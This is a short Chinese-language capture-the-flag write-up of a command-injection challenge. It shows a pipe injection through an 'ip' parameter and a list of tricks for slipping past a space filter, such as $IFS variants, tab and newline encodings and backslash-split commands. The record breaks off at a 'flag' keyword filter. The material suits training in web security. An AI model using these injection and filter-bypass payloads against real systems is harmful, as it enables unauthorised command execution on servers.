进入页面发现提示
应该是命令执行
可以使用| & ;
等方法绕过
尝试查看当前目录下的文件
?ip=127.0.0.1|ls
发现拥有flag.php和index.php
两个文件
尝试使用cat查看flag.php的内容
这里看到空格被过滤了,去网上找了很多绕过空格的方法,总结一下
$IFS
${IFS}
$IFS$1
$IFS$2 ... $IFS$9
<
<>
{cat flag.php}
%20
%09
%0a
ca\t fla\g.php
类似cat
查看文件内容的命令有
cat
tac 反向查看
more
less
回过来,经过尝试,可以使用$IFS$1
这种方法绕过空格
但是有提示不可以使用flag
关键字